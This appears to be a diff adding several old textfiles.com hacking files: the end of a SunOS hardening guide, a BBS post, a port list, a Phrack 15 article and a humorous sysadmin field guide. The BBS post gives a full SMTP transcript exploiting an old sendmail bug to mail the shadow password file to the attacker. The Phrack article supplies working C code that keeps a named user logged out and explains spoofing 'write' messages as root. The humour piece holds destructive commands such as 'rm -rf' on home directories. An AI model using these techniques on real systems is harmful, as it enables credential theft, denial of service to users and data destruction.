Any ID without a password provides open access to your system,
|
||||
Root comes without a password.
|
||||
More info: passwd(5)
|
||||
|
||||
Modify mail system -----
|
||||
Why:
|
||||
The sendmail program itself has been notorious for numerous bugs that
|
||||
gave crackers root access illegitimately. This is a huge topic and
|
||||
should be a paper or book in itself. I claim no expertise here, and
|
||||
to my great fortune my sendmail experience is limited. ;-)
|
||||
There are several different possible configurations and options
|
||||
I'll outline them and point you to further References.
|
||||
|
||||
Host configuration:
|
||||
1. If you intend to send and receive mail directly on your machine.
|
||||
Options are:
|
||||
a. Live with sendmail - install the newest version 8.6.9 (currently)
|
||||
- ensure a mail file is always in existence for all users
|
||||
Ref.10 &11.
|
||||
- "chmod u-s /bin/mail" and change sendmail to use "procmail"
|
||||
or mail.local Ref. 17
|
||||
Ref.where to get???
|
||||
- change sendmail default UID in sendmail.cf to 65534 "Ou65534"
|
||||
- turn on security features of sendmail:
|
||||
"Opauthwarnings needmailhelo noexpn novrfy restrictmailq"
|
||||
Refs. 2 [Cheswick & Bellovin 94] & 9 [Costales 93]
|
||||
|
||||
b. Install zmailer -- Ref 8 [URL to zmailer package]
|
||||
- zmailer does not use /bin/mail so chmod u-s /bin/mail
|
||||
|
||||
2. If mail for your host is received on a different host (ie. local mail
|
||||
delivery is handled by another host). Here your system should only
|
||||
need to support outgoing mail. To prevent the sendmail daemon from
|
||||
being started comment out the part or /etc/rc.local that starts
|
||||
sendmail. For outgoing mail:
|
||||
a. install latest version of sendmail.
|
||||
- see config 1 for thing to change in sendmail config.
|
||||
- since mail delivery is being handled by main mail host
|
||||
there is no need for /bin/mail so - chmod u-s /bin/mail
|
||||
b. Install zmailer -- Ref 8 [URL to zmailer package]
|
||||
- zmailer does not use /bin/mail so chmod u-s /bin/mail
|
||||
|
||||
3. No need for mail whatsoever on this machine
|
||||
(incoming, outgoing, or internal).
|
||||
This is certainly most secure mode because e-mail will not be able to
|
||||
be sent from or to this machine. This basic restriction of outside
|
||||
access will prevent abuse of that access.
|
||||
How:
|
||||
To disable mail totally:
|
||||
- chmod u-s /usr/lib/sendmail & /usr/lib/sendmail.mx & /bin/mail
|
||||
- comment out the part of rc.local that starts sendmail
|
||||
|
||||
|
||||
Packages to enable better monitoring and security:
|
||||
------------------------
|
||||
|
||||
+ tripwire - Ref.13.
|
||||
- Include all suid & sgid file in config.
|
||||
- I've modified COPS script to check this with every run, awaiting
|
||||
response from Dan Farmer if he minds my releasing script.
|
||||
+ tcp wrappers - Ref.4.
|
||||
+ Cops - Ref. 14
|
||||
- Set up to run each night - be careful to check the
|
||||
bitbucket output to ensure that it is working properly.
|
||||
+ Modified portmapper, login, rshd, rlogind, pidentd from W. Venema
|
||||
Ref. 15
|
||||
+ TAMU tiger scripts - Ref. 16.
|
||||
|
||||
Note: the Australian group SERT has put together a package called
|
||||
MegaPatch that includes several of these packages as well as many
|
||||
of the patches to SunOS previously mentioned. Ref. 18
|
||||
|
||||
References
|
||||
----------
|
||||
|
||||
[1] Dan Farmer & Wietse Venema, "Improving the security of your Site by
|
||||
Breaking Into it", 1993.
|
||||
URL:ftp.win.tue.nl:/pub/security/admin-guide-to-cracking.Z
|
||||
|
||||
[2] W. Cheswick & S. Bellovin, "Firewalls and Internet Security," Addison-
|
||||
Wesley, April 94.
|
||||
|
||||
[3] H. Stern, "Managing NFS & NIS", O'Reilly & Associates, April 92
|
||||
|
||||
[4] Wietse Venema, "TCP WRAPPER: Network monitoring, access control and
|
||||
booby traps," Proceedings of the Third Usenix Unix Security Symposium,
|
||||
pg 85-92.
|
||||
URL:ftp.win.tue.nl:/pub/security/tcp_wrapper.ps.Z (paper - .txt.Z avail)
|
||||
URL:ftp.win.tue.nl:/pub/security/tcp_wrappers_6.3.shar.Z (package)
|
||||
|
||||
|
||||
[5] Eric Oliver, "How to shadow without C2 Auditing", June 94
|
||||
URL:ftp.Hawaii.Edu:/????????
|
||||
|
||||
[6] [8lgm]-Advisory-7.UNIX.passwd.11-May-1994.NEWFIX
|
||||
|
||||
[7] Proactive password changing programs
|
||||
(There are several this is the only one who's URL I had available)
|
||||
URL:info.mcs.anl.gov:/pub/systems/anlpasswd-2.2.tar.Z
|
||||
|
||||
[8] Zmailer package -
|
||||
URL: cs.toronto.edu:/pub/zmailer.tar.Z
|
||||
/pub/zmailer.README
|
||||
|
||||
[9] Bryan Costales, Eric Allman & Neil Rickert, "Sendmail,"
|
||||
O'Reilly & Associates, June 93
|
||||
|
||||
8lgm advisories are avaiable though the 8lgm file server -
|
||||
8lgm-fileserver@bagpuss.demon.co.uk
|
||||
[10] [8lgm]-Advisory-5.UNIX.mail.24-Jan-1992
|
||||
[11] [8lgm]-Advisory-5.UNIX.mail.24-Jan-1992.PATCH
|
||||
[12] [8lgm]-Advisory-6.UNIX.mail2.2-May-1994
|
||||
|
||||
[13] Tripwire - Gene Kim & Gene Spafford 1994
|
||||
URL:ftp.cs.purdue.edu:/pub/spaf/COAST/Tripwire
|
||||
|
||||
[14] Cops - Dan Farmer & Gene Spafford 1990
|
||||
URL:ftp.cert.org:/pub/tools/cops
|
||||
|
||||
[15] portmapper, login, rshd, rlogind - Wietse Venema
|
||||
URL:ftp.win.tue.nl:/pub/security/portmap.shar.Z
|
||||
URL:ftp.win.tue.nl:/pub/security/logdaemon-XX.tar.Z
|
||||
|
||||
[16] TAMU tiger script. - Safford et al 93
|
||||
URL:net.tamu.edu/pub/security/TAMU
|
||||
|
||||
[17] Local mail delivery agents:
|
||||
URL:ftp.informatik.rwth-aachen.de:/pub/packages/procmail
|
||||
URL:ftp ---- ????? mail.local Joerg Czeranski
|
||||
|
||||
[18] MegaPatch - SERT
|
||||
URL:ftp.sert.edu.au:/security/sert/tools/MegaPatch.1.7.tar.Z
|
||||
|
||||
[19] Source Routinng Patch -
|
||||
URL:ftp.greatcircle.com:/pub/firewalls/digest/v03.n153.Z
|
||||
|
||||
Acknowledgements:
|
||||
Thanks to all the people in comp.security.unix who offered their
|
||||
suggestions, and thanks to the following people for their kind review:
|
||||
casper@fwi.uva.nl (Casper Dik)
|
||||
baron@uhunix.uhcc.Hawaii.Edu (Baron K Fujimoto)
|
||||
rgoodman@uhunix.uhcc.Hawaii.Edu (Becky Goodman)
|
||||
newsham@uhunix.uhcc.Hawaii.Edu (Tim Newsham)
|
||||
andys@unipalm.co.uk (Andy Smith)
|
||||
|
||||
|
||||
------ Other Thoughts for future development & other ---
|
||||
Didn't have enough time to do these as well as I'd like.
|
||||
|
||||
+ disable routed (standard routing table)
|
||||
Prevents receiving a false routing table.
|
||||
|
||||
+ remove /dev/nit?
|
||||
|
||||
+ Customizing ruserok() - a bit beyond the basics but here's some info:
|
||||
If you have source license to 4.1.3 modify the routine
|
||||
ruserok() to return -1 for the cases you wish to disallow.
|
||||
To disable .rhosts authentication entirely, simply have this routine
|
||||
return -1. Look at the file /usr/lib/shlib.etc/README for how to modify
|
||||
libc.so, note: also make the following changes:
|
||||
in the file /usr/lib/shlib.etc/README below the line
|
||||
% mv rpc_commondata. rpc_commondata.o
|
||||
insert
|
||||
% mv xccs.multibyte. xccs.multibyte.o
|
||||
in the Makefile:
|
||||
change the lines below to read as they do here:
|
||||
OBJSORT=/usr/lib/shlib.etc/objsort
|
||||
AWKFILE=/usr/lib/shlib.etc/awkfile
|
||||
and add the -ldl option at the end of both ld command lines.
|
||||
|
||||
More info: ruserok(3), hosts.equiv(5)
|
||||
source code file /lib/libc/net/rcmd.c Ref. 4, Ref. 15
|
||||
|
||||
--
|
||||
tmk
|
||||
|
||||
-----------------------------------------------------------------------
|
||||
Tom M. Kroeger Pray for wind
|
||||
University of Hawaii Computing Center \ Pray for waves and
|
||||
2565 The Mall, Keller Hall |\ Pray it's your day off!
|
||||
Honolulu HI 96822 (808) 956-2408 |~\
|
||||
e-mail: tmk@uhunix.uhcc.hawaii.edu |__\
|
||||
,----+--
|
||||
|
4357
textfiles.com/hacking/UNIX/security.txt
Normal file
4357
textfiles.com/hacking/UNIX/security.txt
Normal file
File diff suppressed because it is too large
Load Diff
75
textfiles.com/hacking/UNIX/sendmail.fun
Normal file
75
textfiles.com/hacking/UNIX/sendmail.fun
Normal file
@@ -0,0 +1,75 @@
|
||||
11
|
||||
|
||||
Subj: Re: passwd file (11/34)
|
||||
From: Root #1
|
||||
To : Lord Balif #10
|
||||
Date: Mon, Jan 16, 1995 7:03:53 AM
|
||||
|
||||
LB> root:x:0:1:0000-Admin(0000):/:
|
||||
|
||||
This is an example of a "shadowed" passwd file. The file is world readable and
|
||||
exists to provide user information for fingering a particular user -
|
||||
|
||||
Login name: root Real name: 000-Admin(0000)
|
||||
Directory: / Shell: ???
|
||||
Plan:
|
||||
No Plan
|
||||
|
||||
The actual encypted passwd for user 'root' is in one of two places most
|
||||
likely.. either in a restricted security directory ('/etc/security/passwd') or
|
||||
in a special passwd file called master.passwd ('/etc/master.passwd').
|
||||
ExchangeNET uses the latter format, for instance.
|
||||
|
||||
Your job as a UNIX hacker is to somehow trick the host computer into letting
|
||||
you read the restricted passwd file which contains encrypted passwds. On
|
||||
obtainting this file, you would run a UNIX passwd cracker on the passwd file.
|
||||
|
||||
<pause> The problem is, the unshadowed passwords are most likely in a file that most
|
||||
users cannot access -- owned by user 'root' and group 'wheel' for instance,
|
||||
with a file mode of 600 ('-rw------- root wheel 58472 passwd'). You will need
|
||||
to use a program that your host runs that is allowed to access this file and
|
||||
have it send the file to you.
|
||||
|
||||
Classically, sendmail ran under root's user id (0) and could read this file.
|
||||
An old bug in sendmail could be employed to execute commands as root, thus
|
||||
providing a gaping vulnerability for becomming a root user to anyone who could
|
||||
access sendmail. In the classic example, getting the shadowed passwd file
|
||||
could be done like this:
|
||||
|
||||
REPEAT BY:
|
||||
|
||||
% telnet localhost 25 <-- your site's sendmail port
|
||||
Trying 127.0.0.1 ...
|
||||
Connected. Escape character is '^]'.
|
||||
Welcome to old.smtp.version.site.com STMP sendmail version 1.0
|
||||
Ready and willing for your command, haqr sir.
|
||||
|
||||
(you type) MAIL FROM: "|/bin/mail me@old.smtp.version.site.com
|
||||
</etc/security/passwd"
|
||||
250 - Sender OK
|
||||
RCPT TO: nosuchuser
|
||||
<pause> 225 - "nosuchuser" User unknown
|
||||
DATA
|
||||
230 - Enter message. '.' to end
|
||||
.
|
||||
235 OK
|
||||
QUIT
|
||||
Connection closed
|
||||
|
||||
% wait
|
||||
% frm
|
||||
1 Mailer Daemon No subject - file transmission
|
||||
|
||||
% more /var/spool/mail/me
|
||||
From daemon!localhost ...
|
||||
.
|
||||
.
|
||||
Subject:
|
||||
|
||||
root:89JKHkjh\kj1:0:0:Admin:/:/bin/sh
|
||||
...
|
||||
|
||||
%
|
||||
----
|
||||
|
||||
<pause>
|
2133
textfiles.com/hacking/UNIX/sirsunix.hac
Normal file
2133
textfiles.com/hacking/UNIX/sirsunix.hac
Normal file
File diff suppressed because it is too large
Load Diff
2654
textfiles.com/hacking/UNIX/sobunix.txt
Normal file
2654
textfiles.com/hacking/UNIX/sobunix.txt
Normal file
File diff suppressed because it is too large
Load Diff
129
textfiles.com/hacking/UNIX/socket.txt
Normal file
129
textfiles.com/hacking/UNIX/socket.txt
Normal file
@@ -0,0 +1,129 @@
|
||||
-=-=-=-=-=-=-=-
|
||||
Socket Services
|
||||
-=-=-=-=-=-=-=-
|
||||
|
||||
|
||||
|
||||
Disclaimer:
|
||||
|
||||
The author takes no responsibility in
|
||||
the actions of people who have read
|
||||
this text. Please Distribute this text
|
||||
file on your BBS, Homepage, or FTP site
|
||||
and please do not change this or add to
|
||||
it in any way what so ever.
|
||||
|
||||
|
||||
|
||||
Port Number Service Name Protocol
|
||||
|
||||
7 echo tcp
|
||||
7 echo udp
|
||||
9 discard tcp
|
||||
9 discard udp
|
||||
11 systat tcp
|
||||
13 daytime tcp
|
||||
13 daytime udp
|
||||
15 netstat tcp
|
||||
17 qotd tcp
|
||||
17 qotd udp
|
||||
19 chargen tcp
|
||||
19 chargen udp
|
||||
20 ftp-data tcp
|
||||
21 ftp tcp
|
||||
23 telnet tcp
|
||||
25 smtp tcp
|
||||
37 time tcp
|
||||
37 time udp
|
||||
39 rlp udp
|
||||
42 name tcp
|
||||
42 name udp
|
||||
43 whois tcp
|
||||
53 domain tcp
|
||||
53 domain udp
|
||||
57 mtp tcp
|
||||
67 bootp udp
|
||||
69 tftp udp
|
||||
77 rje tcp
|
||||
79 finger tcp
|
||||
87 link tcp
|
||||
95 hostnames tcp
|
||||
102 iso-tsap tcp
|
||||
103 dictionary tcp
|
||||
104 x400-snd tcp
|
||||
105 csnet-ns tcp
|
||||
109 pop tcp
|
||||
110 pop3 tcp
|
||||
111 portmap tcp
|
||||
111 portmap udp
|
||||
113 auth tcp
|
||||
115 sftp tcp
|
||||
117 path tcp
|
||||
119 nntp tcp
|
||||
123 ntp udp
|
||||
137 nbname udp
|
||||
138 nbdatagram udp
|
||||
139 nbsession tcp
|
||||
144 NeWS tcp
|
||||
153 sgmp udp
|
||||
158 tcprepo tcp
|
||||
161 snmp udp
|
||||
162 snmp-trap udp
|
||||
170 print-srv tcp
|
||||
175 vmnet tcp
|
||||
315 load udp
|
||||
400 vmnet0 tcp
|
||||
500 sytek udp
|
||||
512 exec tcp
|
||||
512 biff udp
|
||||
513 login tcp
|
||||
513 who udp
|
||||
514 shell tcp
|
||||
514 syslog udp
|
||||
515 printer tcp
|
||||
517 talk udp
|
||||
518 ntalk udp
|
||||
520 efs tcp
|
||||
520 route udp
|
||||
525 timed udp
|
||||
526 tempo tcp
|
||||
530 courier tcp
|
||||
531 conference tcp
|
||||
531 rvd-control udp
|
||||
532 netnews tcp
|
||||
533 netwall udp
|
||||
540 uucp tcp
|
||||
543 klogin tcp
|
||||
544 kshell tcp
|
||||
550 new-rwho udp
|
||||
556 remotefs tcp
|
||||
560 rmonitor udp
|
||||
561 monitor udp
|
||||
600 garcon tcp
|
||||
601 maitrd tcp
|
||||
602 busboy tcp
|
||||
700 acctmaster udp
|
||||
701 acctslave udp
|
||||
702 acct udp
|
||||
703 acctlogin udp
|
||||
704 acctprinter udp
|
||||
705 acctinfo udp
|
||||
706 acctslave2 udp
|
||||
707 acctdisk udp
|
||||
750 kerberos tcp
|
||||
750 kerberos udp
|
||||
751 kerberos_mastertcp
|
||||
751 kerberos_masterudp
|
||||
752 passwd_server udp
|
||||
753 userreg_server udp
|
||||
754 krb_prop tcp
|
||||
888 erlogin tcp
|
||||
|
||||
|
||||
|
||||
-=-=-=-=-=-=-=-=-=-=-
|
||||
Relevation
|
||||
[SeNSaTioN] Founder
|
||||
sensation.ml.org
|
||||
-=-=-=-=-=-=-=-=-=-=-
|
||||
|
277
textfiles.com/hacking/UNIX/stupid.unx
Normal file
277
textfiles.com/hacking/UNIX/stupid.unx
Normal file
@@ -0,0 +1,277 @@
|
||||
|
||||
===== Phrack Magazine presents Phrack 15 =====
|
||||
|
||||
===== File 2 of 10 =====
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
I thought I had written everything there is to write about the Unix
|
||||
operating system until I was recently asked to put out yet another file...
|
||||
so I said "I'll try, but don't publish my file along with an article by
|
||||
The Radical Rocker this time!" These demands having been met, I booted
|
||||
up the PC and threw together...
|
||||
|
||||
|
||||
--- ---- ---- ------ ------ -- -- ---- -----
|
||||
% Yet Even More Stupid Things to Do With Unix! $
|
||||
--- ---- ---- ------ ------ -- -- ---- -----
|
||||
|
||||
By Shooting Shark.
|
||||
Submitted 26 August '87
|
||||
|
||||
|
||||
|
||||
These two topics are methods of annoying other users of the system
|
||||
and generally being a pest. But would you want to see a file on *onstructive*
|
||||
things to do with Unix? Didn't think so...
|
||||
|
||||
|
||||
-- ------- ----- --- --- ------
|
||||
1. Keeping Users Off The System
|
||||
-- ------- ----- --- --- ------
|
||||
|
||||
Now, we all know by now how to log users off (one way is to redirect
|
||||
an 'stty 0' command to their tty) but unless you have root privs, this
|
||||
will not work when a user has set 'mesg n' and prevented other users from
|
||||
writing to their terminal. But even users who have a 'mesg n' command in
|
||||
their .login (or .profile or .cshrc) file still have a window of vulnerability,
|
||||
the time between login and the locking of their terminal. I designed
|
||||
the following program, block.c, to take advantage of this fact.
|
||||
|
||||
To get this source running on your favorite Unix system, upload it,
|
||||
call it 'block.c', and type the following at the % or $ prompt:
|
||||
|
||||
cc -o block block.c
|
||||
|
||||
once you've compiled it successfully, it is invoked like so:
|
||||
|
||||
block username [&]
|
||||
|
||||
The & is optional and recommended - it runs the program in the background,
|
||||
thus letting you do other things while it's at work.
|
||||
|
||||
If the user specified is logged in at present, it immediately logs
|
||||
them out (if possible) and waits for them to log in. If they aren't logged
|
||||
in, it starts waiting for them. If the user is presently logged in but
|
||||
has their messages off, you'll have to wait until they've logged out to
|
||||
start the thing going.
|
||||
|
||||
Block is essentially an endless loop : it keeps checking for the occurence
|
||||
of the username in /etc/utmp. When it finds it, it immediately logs them
|
||||
out and continues. If for some reason the logout attempt fails, the program
|
||||
aborts. Normally this won't happen - the program is very quick when run
|
||||
unmodified. However, to get such performance, it runs in a very tight
|
||||
loop and will eat up a lot of CPU time. Notice that near the end of the
|
||||
program there is the line:
|
||||
|
||||
/*sleep(SLEEP) */
|
||||
|
||||
the /* and */ are comment delimiters - right now the line is commented
|
||||
out. If you remove the comments and re-compile the program, it will then
|
||||
'go to sleep' for the number of seconds defined in SLEEP (default is 5)
|
||||
at the end of every loop. This will save the system load but will slightly
|
||||
decrease the odds of catching the user during their 'window of vulnerability.'
|
||||
|
||||
If you have a chance to run this program at a computer lab at a school or
|
||||
somewhere similar, run this program on a friend (or an enemy) and watch
|
||||
the reaction on their face when they repeatedly try to log in and are
|
||||
logged out before they can do *anything*. It is quite humorous. This
|
||||
program is also quite nasty and can make you a lot of enemies!
|
||||
|
||||
caveat #1: note that if you run the program on yourself, you will be logged
|
||||
out, the program will continue to run (depending on the shell you're under)
|
||||
and you'll have locked yourself out of the system - so don't do this!
|
||||
|
||||
caveat #2: I wrote this under OSx version 4.0, which is a licensed version
|
||||
of Unix which implements 4.3bsd and AT&T sysV. No guarantees that it will
|
||||
work on your system.
|
||||
|
||||
caveat #3: If you run this program in background, don't forget to kill
|
||||
it when you're done with it! (when you invoke it with '&', the shell will
|
||||
give you a job number, such as '[2] 90125'. If you want to kill it later
|
||||
in the same login session, type 'kill %2'. If you log in later and want
|
||||
to kill it, type 'kill 90125'. Just read the man page on the kill command
|
||||
if you need any help...
|
||||
|
||||
----- cut here -----
|
||||
|
||||
/* block.c -- prevent a user from logging in
|
||||
* by Shooting Shark
|
||||
* usage : block username [&]
|
||||
* I suggest you run this in background.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <utmp.h>
|
||||
#include <ctype.h>
|
||||
#include <termio.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#define W_OK2
|
||||
#define SLEEP5
|
||||
#define UTMP"/etc/utmp"
|
||||
#define TTY_PRE "/dev/"
|
||||
|
||||
main(ac,av)
|
||||
int ac;
|
||||
char *av[];
|
||||
{
|
||||
int target, fp, open();
|
||||
struct utmpuser;
|
||||
struct termio*opts;
|
||||
char buf[30], buf2[50];
|
||||
|
||||
if (ac != 2) {
|
||||
printf("usage : %s username\n",av[0]);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
|
||||
for (;;) {
|
||||
|
||||
if ((fp = open(UTMP,0)) == -1) {
|
||||
printf("fatal error! cannot open %s.\n",UTMP);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
|
||||
while (read(fp, &user, sizeof user) > 0) {
|
||||
if (isprint(user.ut_name[0])) {
|
||||
if (!(strcmp(user.ut_name,av[1]))) {
|
||||
|
||||
printf("%s is logging in...",user.ut_name);
|
||||
sprintf(buf,"%s%s",TTY_PRE,user.ut_line);
|
||||
printf("%s\n",buf);
|
||||
if (access(buf,W_OK) == -1) {
|
||||
printf("failed - program aborting.\n");
|
||||
exit(-1);
|
||||
}
|
||||
else {
|
||||
if ((target = open(buf,O_WRONLY)) != EOF) {
|
||||
sprintf(buf2,"stty 0 > %s",buf);
|
||||
system(buf2);
|
||||
printf("killed.\n");
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
} /* else */
|
||||
} /* if strcmp */
|
||||
} /* if isprint */
|
||||
} /* while */
|
||||
close(fp);
|
||||
|
||||
/*sleep(SLEEP); */
|
||||
|
||||
} /* for */
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
----- cut here -----
|
||||
|
||||
|
||||
-- ------------- ----- ----- ---- ------ --- ------
|
||||
2. Impersonating other users with 'write' and 'talk'
|
||||
-- ------------- ----- ----- ---- ------ --- ------
|
||||
|
||||
This next trick wasn't exactly a work of stupefying genius, but is a
|
||||
little trick (that anybody can do) that I sometimes use to amuse myself
|
||||
and, as with the above, annoy the hell out of my friends and enemies.
|
||||
|
||||
Nearly every Unix system has the 'write' program, for conversing with
|
||||
other logged-in users. As a quick summary:
|
||||
|
||||
If you see that user 'clara' is logged in with the 'who' or 'w' command
|
||||
or whatever, and you wish to talk to her for some reason or another,
|
||||
you'd type 'write clara'. Clara then would see on her screen something
|
||||
like this (given that you are username 'shark'):
|
||||
|
||||
|
||||
[3 ^G's] Message from shark on ttyi13 at 23:14 ...
|
||||
|
||||
You then type away at her, and whatever you type is sent to her terminal
|
||||
line-by-line. If she wanted to make it a conversation rather than a
|
||||
monologue, she'd type 'write shark,' you'd get a message similar to the above
|
||||
on your terminal, and the two of you would type away at each other to your
|
||||
little heart's content. If either one of you wanted to end the conversation,
|
||||
you would type a ^D. They would then see the characters 'EOF' on their
|
||||
screen, but they'd still be 'write'ing to you until they typed a ^D as well.
|
||||
|
||||
Now, if you're on a bigger installation you'll probably have some sort
|
||||
of full-screen windowing chat program like 'talk'. My version of talk
|
||||
sends the following message:
|
||||
|
||||
Message from Talk_Daemon@tibsys at 23:14 ...
|
||||
talk: connection requested by shark@tibsys.
|
||||
talk: respond with: talk shark@tibsys
|
||||
|
||||
Anyway, here's where the fun part begins: It's quite easy to put a sample
|
||||
'write' or 'talk' message into a file and then edit so that the 'from'
|
||||
is a different person, and the tty is listed differently. If you see that
|
||||
your dorky friend roger is on ttyi10 and the root also happens to be
|
||||
logged on on ttyi01, make the file look something like this:
|
||||
|
||||
[3 control-G's] Message from root on ttyi01 at [the current time]
|
||||
|
||||
wackawackawackawackawacka!!!
|
||||
|
||||
[or a similarly confusing or rude message...]
|
||||
|
||||
EOF
|
||||
|
||||
Then, send this file to roger's terminal with:
|
||||
|
||||
cat filename > /dev/ttyi10
|
||||
|
||||
He'll get the message on his terminal and wonder what the hell the
|
||||
superuser is talking about. He might even 'write' back to the superuser
|
||||
with the intent of asking 'what the hell are you talking about?'. For
|
||||
maximum effectiveness, *simultaneously* send a message to root 'from'
|
||||
roger at the appropriate terminal with an equally strange message - they'll
|
||||
then engage in a conversation that will go something like "what did you
|
||||
mean by that?" "what do you mean, what do I mean? What did *you* mean
|
||||
by that?" etc. A splendid time is guaranteed for all! Note that you don't
|
||||
have to make 'root' the perpetrator of the gag, any two currently logged-in
|
||||
users who have their terminals open for messages can join in on the fun.
|
||||
|
||||
Similarly, you can fake a few 'talk' pages from/to two people...they will
|
||||
then probably start talking...although the conversation will be along the
|
||||
lines of "what do you want?" "you tell me." "you paged me, you tell *me."
|
||||
etcetera, while you laugh yourself silly or something like that.
|
||||
|
||||
A variation on the theme: As I said, when using 'write' you type a ^D to
|
||||
end the conversation, and the person you're typing at sees an 'EOF' on
|
||||
their screen. But you could also just *type* 'EOF', and they'd think
|
||||
you've quit...but you still have an open line to their terminal. Even
|
||||
if they later turn messages off, you still have the ability to write to
|
||||
their terminal. Keeping this fact in mind, anybody who knows what they're
|
||||
doing can write a program similar to my 'block' program above that doesn't
|
||||
log a user out when they appear on the system, but opens their tty as
|
||||
a device and keeps the file handle in memory so you can redirect to their
|
||||
terminal - to write rude messages or to log them out or whatever - at any
|
||||
time, until they log out.
|
||||
|
||||
As I said, there was no great amount of genious in the above discourse,
|
||||
but it's a pastime I enjoy occasionally...
|
||||
|
||||
-- Shooting Shark
|
||||
|
||||
|
||||
"the first fact to face is that unix was not developed with security,
|
||||
in any realistic sense, in mind..."
|
||||
|
||||
-- Dennis M. Ritchie
|
||||
|
||||
"Oryan QUEST couldn't hack his way out of a UNIX system, let alone
|
||||
into one."
|
||||
|
||||
-- Tharrys Ridenow
|
||||
|
||||
|
||||
|
421
textfiles.com/hacking/UNIX/sysadmin.txt
Normal file
421
textfiles.com/hacking/UNIX/sysadmin.txt
Normal file
@@ -0,0 +1,421 @@
|
||||
From: szielins@us.oracle.com (szielins.US1)
|
||||
Newsgroups: rec.humor.funny
|
||||
Subject: Field Guide to System Administrators
|
||||
Keywords: laugh, original, computers
|
||||
Message-ID: <S4a6.5a01@looking.on.ca>
|
||||
Date: Thu, 19 Nov 92 3:25:10 EST
|
||||
Lines: 419
|
||||
Approved: funny@clarinet.com
|
||||
|
||||
|
||||
KNOW YOUR UNIX SYSTEM ADMINISTRATOR-- A FIELD GUIDE
|
||||
|
||||
|
||||
|
||||
There are four major species of Unix sysad:
|
||||
|
||||
1) The TECHNICAL THUG. Usually a systems programmer who has been
|
||||
forced into system administration; writes scripts in a polyglot of the
|
||||
Bourne shell, sed, C, awk, perl, and APL.
|
||||
|
||||
2) The ADMINISTRATIVE FASCIST. Usually a retentive drone (or rarely,
|
||||
a harridan ex-secretary) who has been forced into system
|
||||
administration.
|
||||
|
||||
3) The MANIAC. Usually an aging cracker who discovered that neither
|
||||
the Mossad nor Cuba are willing to pay a living wage for computer
|
||||
espionage. Fell into system administration; occasionally approaches
|
||||
major competitors with indesp schemes.
|
||||
|
||||
4) The IDIOT. Usually a cretin, morpohodite, or old COBOL programmer
|
||||
selected to be the system administrator by a committee of cretins,
|
||||
morphodites, and old COBOL programmers.
|
||||
|
||||
|
||||
|
||||
HOW TO IDENTIFY YOUR SYSTEM ADMINISTRATOR:
|
||||
|
||||
|
||||
---------------- SITUATION: Low disk space. ----------------
|
||||
|
||||
TECHNICAL THUG: Writes a suite of scripts to monitor disk
|
||||
usage, maintain a database of historic disk usage, predict future disk
|
||||
usage via least squares regression analysis, identify users who are
|
||||
more than a standard deviation over the mean, and send mail to the
|
||||
offending parties. Places script in cron. Disk usage does not
|
||||
change, since disk-hogs, by nature, either ignore script-generated
|
||||
mail, or file it away in triplicate.
|
||||
|
||||
ADMINISTRATIVE FASCIST: Puts disk usage policy in motd. Uses
|
||||
disk quotas. Allows no exceptions, thus crippling development work.
|
||||
Locks accounts that go over quota.
|
||||
|
||||
MANIAC:
|
||||
# cd /home
|
||||
# rm -rf `du -s * | sort -rn | head -1 | awk '{print $2}'`;
|
||||
|
||||
IDIOT:
|
||||
# cd /home
|
||||
# cat `du -s * | sort -rn | head -1 | awk '{ printf "%s/*\n", $2}'` | compress
|
||||
|
||||
|
||||
---------------- SITUATION: Excessive CPU usage. ----------------
|
||||
|
||||
TECHNICAL THUG: Writes a suite of scripts to monitor
|
||||
processes, maintain a database of CPU usage, identify processes more
|
||||
than a standard deviation over the norm, and renice offending
|
||||
processes. Places script in cron. Ends up renicing the production
|
||||
database into oblivion, bringing operations to a grinding halt, much
|
||||
to the delight of the xtrek freaks.
|
||||
|
||||
ADMINISTRATIVE FASCIST: Puts CPU usage policy in motd. Uses
|
||||
CPU quotas. Locks accounts that go over quota. Allows no exceptions,
|
||||
thus crippling development work, much to the delight of the xtrek
|
||||
freaks.
|
||||
|
||||
MANIAC:
|
||||
# kill -9 `ps -augxww | sort -rn +8 -9 | head -1 | awk '{print $2}'`
|
||||
|
||||
IDIOT:
|
||||
# compress -f `ps -augxww | sort -rn +8 -9 | head -1 | awk '{print $2}'`
|
||||
|
||||
|
||||
---------------- SITUATION: New account creation. ----------------
|
||||
|
||||
TECHNICAL THUG: Writes perl script that creates home
|
||||
directory, copies in incomprehensible default environment, and places
|
||||
entries in /etc/passwd, /etc/shadow, and /etc/group. (By hand, NOT
|
||||
with passmgmt.) Slaps on setuid bit; tells a nearby secretary to
|
||||
handle new accounts. Usually, said secretary is still dithering over
|
||||
the difference between 'enter' and 'return'; and so, no new accounts
|
||||
are ever created.
|
||||
|
||||
ADMINISTRATIVE FASCIST: Puts new account policy in motd.
|
||||
Since people without accounts cannot read the motd, nobody ever
|
||||
fulfills the bureaucratic requirements; and so, no new accounts are
|
||||
ever created.
|
||||
|
||||
MANIAC: "If you're too stupid to break in and create your own
|
||||
account, I don't want you on the system. We've got too many goddamn
|
||||
sh*t-for-brains a**holes on this box anyway."
|
||||
|
||||
IDIOT:
|
||||
# cd /home; mkdir "Bob's home directory"
|
||||
# echo "Bob Simon:gandalf:0:0::/dev/tty:compress -f" > /etc/passwd
|
||||
|
||||
|
||||
---------------- SITUATION: Root disk fails. ----------------
|
||||
|
||||
TECHNICAL THUG: Repairs drive. Usually is able to repair
|
||||
filesystem from boot monitor. Failing that, front-panel toggles
|
||||
microkernel in and starts script on neighboring machine to load binary
|
||||
boot code into broken machine, reformat and reinstall OS. Lets it run
|
||||
over the weekend while he goes mountain climbing.
|
||||
|
||||
ADMINISTRATIVE FASCIST: Begins investigation to determine who
|
||||
broke the drive. Refuses to fix system until culprit is identified
|
||||
and charged for the equipment.
|
||||
|
||||
MANIAC, LARGE SYSTEM: Rips drive from system, uses
|
||||
sledgehammer to smash same to flinders. Calls manufacturer, threatens
|
||||
pets. Abuses field engineer while they put in a new drive and
|
||||
reinstall the OS.
|
||||
MANIAC, SMALL SYSTEM: Rips drive from system, uses ball-peen
|
||||
hammer to smash same to flinders. Calls Requisitions, threatens pets.
|
||||
Abuses bystanders while putting in new drive and reinstalling OS.
|
||||
|
||||
IDIOT: Doesn't notice anything wrong.
|
||||
|
